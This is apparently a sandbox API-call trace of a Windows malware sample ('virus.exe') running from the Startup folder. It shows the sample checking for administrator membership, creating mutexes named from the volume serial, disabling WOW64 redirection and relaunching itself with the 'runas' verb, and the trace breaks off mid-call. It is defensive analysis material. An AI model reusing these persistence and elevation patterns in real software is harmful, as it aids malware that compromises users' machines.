[0157.478] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x60a248, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0xa8 [0157.478] GetProcessHeap () returned 0x5f0000 [0157.478] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x60a248 | out: hHeap=0x5f0000) returned 1 [0157.478] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\spfs.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0157.478] GetProcessHeap () returned 0x5f0000 [0157.478] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x609e18 | out: hHeap=0x5f0000) returned 1 [0157.478] GetProcessHeap () returned 0x5f0000 [0157.478] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x60a030 | out: hHeap=0x5f0000) returned 1 [0157.478] GetProcessHeap () returned 0x5f0000 [0157.478] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x603f48 | out: hHeap=0x5f0000) returned 1 [0157.478] GetVersion () returned 0x1db10106 [0157.479] GetCurrentProcess () returned 0xffffffff [0157.479] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x2af8c4 | out: TokenHandle=0x2af8c4*=0xa0) returned 1 [0157.479] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x14, TokenInformation=0x2af8bc, TokenInformationLength=0x4, ReturnLength=0x2af8c0 | out: TokenInformation=0x2af8bc, ReturnLength=0x2af8c0) returned 1 [0157.479] CloseHandle (hObject=0xa0) returned 1 [0157.479] GetProcessHeap () returned 0x5f0000 [0157.479] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x20) returned 0x603f48 [0157.479] GetProcessHeap () returned 0x5f0000 [0157.479] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x20a) returned 0x609e18 [0157.479] GetProcessHeap () returned 0x5f0000 [0157.479] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x20a) returned 0x60a030 [0157.479] GetProcessHeap () returned 0x5f0000 [0157.479] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x609e18 | out: hHeap=0x5f0000) returned 1 [0157.479] GetProcessHeap () returned 0x5f0000 [0157.479] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x60a030 | out: hHeap=0x5f0000) returned 1 [0157.479] GetProcessHeap () returned 0x5f0000 [0157.479] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x20) returned 0x603f98 [0157.479] GetProcessHeap () returned 0x5f0000 [0157.479] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x8, Size=0x1e) returned 0x603fc0 [0157.479] GetProcessHeap () returned 0x5f0000 [0157.479] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x1e) returned 0x603fe8 [0157.479] GetProcessHeap () returned 0x5f0000 [0157.479] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x90) returned 0x609e18 [0157.479] GetProcessHeap () returned 0x5f0000 [0157.479] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x609e18 | out: hHeap=0x5f0000) returned 1 [0157.479] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x603fc0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0157.479] GetProcessHeap () returned 0x5f0000 [0157.479] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x603fe8 | out: hHeap=0x5f0000) returned 1 [0157.479] GetProcessHeap () returned 0x5f0000 [0157.480] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x603f98 | out: hHeap=0x5f0000) returned 1 [0157.480] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2af87c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2af87c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0157.480] GetProcessHeap () returned 0x5f0000 [0157.480] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x603fc0 | out: hHeap=0x5f0000) returned 1 [0157.480] GetProcessHeap () returned 0x5f0000 [0157.480] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x30) returned 0x609e18 [0157.480] GetProcessHeap () returned 0x5f0000 [0157.480] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x8, Size=0x2a) returned 0x609e50 [0157.480] GetProcessHeap () returned 0x5f0000 [0157.480] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x609e50, Size=0x52) returned 0x609e50 [0157.480] GetProcessHeap () returned 0x5f0000 [0157.480] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x609e18 | out: hHeap=0x5f0000) returned 1 [0157.480] GetProcessHeap () returned 0x5f0000 [0157.480] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x609e50 | out: hHeap=0x5f0000) returned 1 [0157.480] GetProcessHeap () returned 0x5f0000 [0157.480] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x1c) returned 0x603fc0 [0157.480] GetProcessHeap () returned 0x5f0000 [0157.481] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x1c) returned 0x603fe8 [0157.481] GetProcessHeap () returned 0x5f0000 [0157.481] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x20) returned 0x609e30 [0157.481] GetProcessHeap () returned 0x5f0000 [0157.481] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x8, Size=0x1e) returned 0x609e58 [0157.481] GetProcessHeap () returned 0x5f0000 [0157.481] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x1e) returned 0x609e80 [0157.481] GetProcessHeap () returned 0x5f0000 [0157.481] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x90) returned 0x60a618 [0157.481] GetProcessHeap () returned 0x5f0000 [0157.481] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x60a618 | out: hHeap=0x5f0000) returned 1 [0157.481] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x609e58, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0157.481] GetProcessHeap () returned 0x5f0000 [0157.481] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x609e80 | out: hHeap=0x5f0000) returned 1 [0157.481] GetProcessHeap () returned 0x5f0000 [0157.481] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x609e30 | out: hHeap=0x5f0000) returned 1 [0157.481] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2af864, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2af864*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0157.481] GetProcessHeap () returned 0x5f0000 [0157.481] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x609e58 | out: hHeap=0x5f0000) returned 1 [0157.481] GetProcessHeap () returned 0x5f0000 [0157.481] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40) returned 0x604320 [0157.481] GetProcessHeap () returned 0x5f0000 [0157.481] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x8, Size=0x3a) returned 0x604368 [0157.481] GetProcessHeap () returned 0x5f0000 [0157.482] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604368, Size=0x72) returned 0x5ffbf8 [0157.482] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0xa0 [0157.482] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0x0) returned 0x102 [0157.482] CloseHandle (hObject=0xa0) returned 1 [0157.482] GetProcessHeap () returned 0x5f0000 [0157.482] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x604320 | out: hHeap=0x5f0000) returned 1 [0157.482] GetProcessHeap () returned 0x5f0000 [0157.482] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x5ffbf8 | out: hHeap=0x5f0000) returned 1 [0157.482] GetProcessHeap () returned 0x5f0000 [0157.482] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x20) returned 0x609e30 [0157.482] GetProcessHeap () returned 0x5f0000 [0157.482] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x8, Size=0x1e) returned 0x609e58 [0157.482] GetProcessHeap () returned 0x5f0000 [0157.482] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x1e) returned 0x609e80 [0157.482] GetProcessHeap () returned 0x5f0000 [0157.482] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x90) returned 0x60a618 [0157.482] GetProcessHeap () returned 0x5f0000 [0157.482] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x60a618 | out: hHeap=0x5f0000) returned 1 [0157.482] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x609e58, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0157.482] GetProcessHeap () returned 0x5f0000 [0157.482] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x609e80 | out: hHeap=0x5f0000) returned 1 [0157.482] GetProcessHeap () returned 0x5f0000 [0157.482] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x609e30 | out: hHeap=0x5f0000) returned 1 [0157.482] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2af84c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2af84c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0157.483] GetProcessHeap () returned 0x5f0000 [0157.483] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x609e58 | out: hHeap=0x5f0000) returned 1 [0157.483] GetProcessHeap () returned 0x5f0000 [0157.483] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40) returned 0x604320 [0157.483] GetProcessHeap () returned 0x5f0000 [0157.483] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x8, Size=0x3a) returned 0x604368 [0157.483] GetProcessHeap () returned 0x5f0000 [0157.483] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604368, Size=0x72) returned 0x5ffbf8 [0157.483] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0157.483] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0xa0 [0157.483] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0x0) returned 0x0 [0157.483] GetProcessHeap () returned 0x5f0000 [0157.483] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x604320 | out: hHeap=0x5f0000) returned 1 [0157.483] GetProcessHeap () returned 0x5f0000 [0157.483] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x5ffbf8 | out: hHeap=0x5f0000) returned 1 [0157.483] ReleaseMutex (hMutex=0xa0) returned 1 [0157.483] CloseHandle (hObject=0xa0) returned 1 [0157.483] GetVersion () returned 0x1db10106 [0157.483] GetProcessHeap () returned 0x5f0000 [0157.483] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x6019e8 [0157.483] GetProcessHeap () returned 0x5f0000 [0157.483] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x20a) returned 0x60a618 [0157.483] GetCurrentProcess () returned 0xffffffff [0157.484] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x2af88c | out: TokenHandle=0x2af88c*=0xa0) returned 1 [0157.484] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x2af8a4 | out: TokenInformation=0x0, ReturnLength=0x2af8a4) returned 0 [0157.484] GetProcessHeap () returned 0x5f0000 [0157.484] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x118) returned 0x60a830 [0157.484] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x60a830, TokenInformationLength=0x118, ReturnLength=0x2af8a4 | out: TokenInformation=0x60a830, ReturnLength=0x2af8a4) returned 1 [0157.484] AllocateAndInitializeSid (in: pIdentifierAuthority=0x2af898, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x2af8a0 | out: pSid=0x2af8a0*=0x601a00*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0157.484] EqualSid (pSid1=0x601a00*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x60a894*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25))) returned 0 [0157.484] EqualSid (pSid1=0x601a00*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x60a8b0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0157.484] EqualSid (pSid1=0x601a00*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x60a8bc*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0157.484] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x60a8bc*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), Name=0x2af470, cchName=0x2af8a4, ReferencedDomainName=0x2af67c, cchReferencedDomainName=0x2af8a4, peUse=0x2af888 | out: Name="Administrators", cchName=0x2af8a4, ReferencedDomainName="BUILTIN", cchReferencedDomainName=0x2af8a4, peUse=0x2af888) returned 1 [0157.539] GetProcessHeap () returned 0x5f0000 [0157.539] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x60a830 | out: hHeap=0x5f0000) returned 1 [0157.539] GetProcessHeap () returned 0x5f0000 [0157.539] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x50) returned 0x60a830 [0157.540] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x770d0000 [0157.540] GetProcAddress (hModule=0x770d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x770fd650 [0157.540] Wow64DisableWow64FsRedirection (in: OldValue=0x2af8c0 | out: OldValue=0x2af8c0*=0x0) returned 1 [0157.540] GetProcessHeap () returned 0x5f0000 [0157.540] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x60a830 | out: hHeap=0x5f0000) returned 1 [0157.540] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x60a618, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0xa8 [0157.540] ShellExecuteExW (in: pExecInfo=0x2af864*(cbSize=0x3c, fMask=0x100, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x2af864*(cbSize=0x3c, fMask=0x100, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0194.300] GetProcessHeap () returned 0x5f0000 [0194.300] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x50) returned 0x638080 [0194.301] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x770d0000 [0194.301] GetProcAddress (hModule=0x770d0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x770fd668 [0194.301] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0194.301] GetProcessHeap () returned 0x5f0000 [0194.301] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x638080 | out: hHeap=0x5f0000) returned 1 [0194.301] GetProcessHeap () returned 0x5f0000 [0194.301] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x60a618 | out: hHeap=0x5f0000) returned 1 [0194.301] GetProcessHeap () returned 0x5f0000 [0194.301] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x6019e8 | out: hHeap=0x5f0000) returned 1 [0194.301] GetProcessHeap () returned 0x5f0000 [0194.301] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x20) returned 0x62dc60 [0194.301] GetProcessHeap () returned 0x5f0000 [0194.301] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x8, Size=0x1e) returned 0x62dc10 [0194.301] GetProcessHeap () returned 0x5f0000 [0194.301] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x1e) returned 0x62dc38 [0194.301] GetProcessHeap () returned 0x5f0000 [0194.301] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x90) returned 0x61fa28 [0194.301] GetProcessHeap () returned 0x5f0000 [0194.301] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x61fa28 | out: hHeap=0x5f0000) returned 1 [0194.301] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x62dc10, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0194.301] GetProcessHeap () returned 0x5f0000 [0194.301] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x62dc38 | out: hHeap=0x5f0000) returned 1 [0194.301] GetProcessHeap () returned 0x5f0000 [0194.302] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x62dc60 | out: hHeap=0x5f0000) returned 1 [0194.302] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2af84c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2af84c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0194.302] GetProcessHeap () returned 0x5f0000 [0194.302] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x62dc10 | out: hHeap=0x5f0000) returned 1 [0194.302] GetProcessHeap () returned 0x5f0000 [0194.302] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40) returned 0x604b90 [0194.302] GetProcessHeap () returned 0x5f0000 [0194.302] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x8, Size=0x3a) returned 0x604b48 [0194.302] GetProcessHeap () returned 0x5f0000 [0194.302] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604b48, Size=0x72) returned 0x63efa0 [0194.302] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0194.303] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x26c [0194.303] WaitForSingleObject (hHandle=0x26c, dwMilliseconds=0x0) returned 0x0 [0194.303] GetProcessHeap () returned 0x5f0000 [0194.303] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x604b90 | out: hHeap=0x5f0000) returned 1 [0194.303] GetProcessHeap () returned 0x5f0000 [0194.303] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x63efa0 | out: hHeap=0x5f0000) returned 1 [0194.303] ReleaseMutex (hMutex=0x26c) returned 1 [0194.303] CloseHandle (hObject=0x26c) returned 1 [0194.303] Sleep (dwMilliseconds=0x64) [0194.411] GetProcessHeap () returned 0x5f0000 [0194.411] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x20) returned 0x62dc10 [0194.411] GetProcessHeap () returned 0x5f0000 [0194.411] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x8, Size=0x1e) returned 0x62dc60 [0194.411] GetProcessHeap () returned 0x5f0000 [0194.411] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x1e) returned 0x62dc38 [0194.411] GetProcessHeap () returned 0x5f0000 [0194.411] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x90) returned 0x61fa28 [0194.411] GetProcessHeap () returned 0x5f0000 [0194.411] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x61fa28 | out: hHeap=0x5f0000) returned 1 [0194.411] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x62dc60, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0194.411] GetProcessHeap () returned 0x5f0000 [0194.411] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x62dc38 | out: hHeap=0x5f0000) returned 1 [0194.411] GetProcessHeap () returned 0x5f0000 [0194.411] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x62dc10 | out: hHeap=0x5f0000) returned 1 [0194.411] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2af84c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2af84c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0194.412] GetProcessHeap () returned 0x5f0000 [0194.412] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x62dc60 | out: hHeap=0x5f0000) returned 1 [0194.412] GetProcessHeap () returned 0x5f0000 [0194.412] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40) returned 0x604b90 [0194.412] GetProcessHeap () returned 0x5f0000 [0194.412] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x8, Size=0x3a) returned 0x604b48 [0194.412] GetProcessHeap () returned 0x5f0000 [0194.412] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604b48, Size=0x72) returned 0x63efa0 [0194.412] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0194.412] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x26c [0194.412] WaitForSingleObject (hHandle=0x26c, dwMilliseconds=0x0) returned 0x0 [0194.412] GetProcessHeap () returned 0x5f0000 [0194.412] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x604b90 | out: hHeap=0x5f0000) returned 1 [0194.412] GetProcessHeap () returned 0x5f0000 [0194.412] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x63efa0 | out: hHeap=0x5f0000) returned 1 [0194.412] ReleaseMutex (hMutex=0x26c) returned 1 [0194.412] CloseHandle (hObject=0x26c) returned 1 [0194.412] Sleep (dwMilliseconds=0x64) [0194.565] GetProcessHeap () returned 0x5f0000 [0194.565] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x20) returned 0x62dc60 [0194.565] GetProcessHeap () returned 0x5f0000 [0194.565] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x8, Size=0x1e) returned 0x62dc10 [0194.565] GetProcessHeap () returned 0x5f0000 [0194.565] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x1e) returned 0x62dc38 [0194.565] GetProcessHeap () returned 0x5f0000 [0194.565] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x90) returned 0x61fa28 [0194.565] GetProcessHeap () returned 0x5f0000 [0194.565] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x61fa28 | out: hHeap=0x5f0000) returned 1 [0194.565] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x62dc10, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0194.565] GetProcessHeap () returned 0x5f0000 [0194.565] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x62dc38 | out: hHeap=0x5f0000) returned 1 [0194.565] GetProcessHeap () returned 0x5f0000 [0194.566] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x62dc60 | out: hHeap=0x5f0000) returned 1 [0194.566] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2af84c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2af84c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0194.566] GetProcessHeap () returned 0x5f0000 [0194.566] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x62dc10 | out: hHeap=0x5f0000) returned 1 [0194.566] GetProcessHeap () returned 0x5f0000 [0194.566] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40) returned 0x604b90 [0194.566] GetProcessHeap () returned 0x5f0000 [0194.566] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x8, Size=0x3a) returned 0x604b48 [0194.566] GetProcessHeap () returned 0x5f0000 [0194.566] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x604b48, Size=0x72) returned 